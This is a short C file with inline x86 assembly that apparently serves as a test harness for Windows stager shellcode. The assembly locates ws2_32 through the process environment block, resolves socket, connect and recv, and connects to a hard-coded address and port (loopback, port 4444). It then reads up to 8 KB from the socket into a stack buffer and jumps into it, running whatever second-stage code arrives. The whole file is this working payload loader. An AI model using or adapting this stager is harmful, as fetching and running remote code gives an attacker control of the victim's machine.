#include <windows.h>
#include <winsock.h>

void main()
{
	WSADATA data;
	char blah[16384];

	memset(&data, 0, sizeof(data));

	if (WSAStartup(0x0202, &data))
	{
		printf("failed\n");
		return;
	}

	__asm
	{
		find_ws2_32:
			cld                          // Reset direction flag
			xor  edx, edx                // Zero edx
			mov  eax, fs:[edx + 0x30]    // PEB in edx
			mov  eax, [eax + 0xc]        // LdrData in eax
			mov  ebx, [eax + 0x1c]       // Initialization order list in ebx

		loop_modules:
			mov  ebx, [ebx]              // Go to the next Flink
			mov  esi, [ebx + 0x20]       // BaseDllName->Buffer pointer in esi
			lodsd                        // Skip ws
			lodsd                        // Load \x32\x00\x5f\x00 into eax
			dec  esi                     // Move esi back one to align characters (spoontastic)
			add  eax, [esi]              // Add 0x32003300 to 0x005f0032 to get 0x325f3332
			cmp  eax, 0x325f3332         // Does it match?
			jnz  loop_modules            // Nope, not ws2_32
			mov  ebp, [ebx + 0x8]        // Base address in ebp

		get_addresses:
			mov  eax, [ebp + 0x3c]       // PE header in eax
			mov  ecx, [ebp + eax + 0x78] // EDT in ecx
			mov  ecx, [ebp + ecx + 0x1c] // Address table in ecx
			add  ecx, ebp
			mov  eax, [ecx + 0x58]       // socket
			add  eax, ebp
			mov  ebx, [ecx + 0xc]        // connect
			add  ebx, ebp
			mov  esi, [ecx + 0x3c]       // recv
			add  esi, ebp

		socket:
			push edx                     // Push 0
			push 0x1                     // Push SOCK_STREAM
			push 0x2                     // Push AF_INET
			call eax                     // Call socket
			xchg edi, eax                // Socket handle in edi

		connect: 
			push 0x0100007f              // Push IP
			push 0x5c110002              // Push Family/Port
			mov  ebp, esp                // Store sockaddr pointer in ebp
			push 0x10                    // Push 16
			push ebp                     // Push the sockaddr pointer
			push edi                     // Push the socket handle
			call ebx                     // Call connect

		recv:
			push eax                     // Push zero
			mov  ah, 0x20                // Set eax to 0x2000
			push eax                     // Push 0x2000
			push ebp                     // Push a stack buffer pointer (from above)
			push edi                     // Push the socket handle
			push ebp                     // Use the buffer as the return address (spoontastic)
			jmp  esi                     // Jump into stage
	}

}
